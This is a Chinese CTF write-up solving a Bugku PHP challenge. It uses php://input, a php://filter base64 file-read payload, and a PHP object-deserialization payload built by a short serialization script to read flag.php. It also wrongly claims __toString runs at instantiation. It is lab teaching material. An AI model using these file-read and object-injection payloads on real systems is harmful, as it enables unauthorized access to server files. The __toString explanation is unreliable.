日常抓包
抓到后在proxy中,点击右键发送到这里。
点击Go
分析一波,user、file、pass都是GET方式获取
然后读取的user的内容要和“welcome to bugkuctf”相同
include()是动态获取文件名,也就是这个文件名是hint.php
接着我们要让user的值和我们预想的一样,那就要我们手动传值了
这里用到的是php://input,一个php的伪协议,可以读到我们post方法传的值
然后构造下,点击Go
页面变成 hello friend!
不对啊,那我们来看看文件里面有什么
就是index.php和hint.php这两个文件
看index.php是因为这个文件一般都会有重要信息
用 file=php://filter/read=convert.base64.encode/resource=hint.php
大概作用就是把文件的内容编码显示出来,不可以直接显示,文件可能有些敏感代码会导致无法显示
反编码
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
看不出来什么东西
至于这个_tostring方法,就是这个类在创建实例化时就会被调用,相当于java中的构造方法
我们再看看index.php里面的
url一样的构造,后面文件名改下
反编码
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "ä¸èƒ½çŽ°åœ¨å°±ç»™ä½ flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
下面那一段之前就看过了
上面的if条件句就是说,如果文件名有flag就不能给flag,那段乱码字符串就是这个说这个
至于为什么乱码我也不知道
所以我们要绕过这里
看看else语句
动态获取文件名(hint.php)、password反序列化、打印password
根据上面反编码的FLAG类,以及这里屏蔽flag关键字,猜测这个password是flag.php
要注意,password是反序列化的
我们可以写个脚本得到序列化的password
可以把序列化理解为一种保护数据在传送时的一种编码
脚本
<?php
class Flag{
public $file;
}
$a = new FLAG();
$a->file="flag.php";
$a = serialize($a);
print_r($a);
?>
放到自己配置的服务器跑一下
php服务器的搭建下载一个appserv
傻瓜式安装,实在不行就搜教程
把这个得出来的序列串当作password传进去
搞定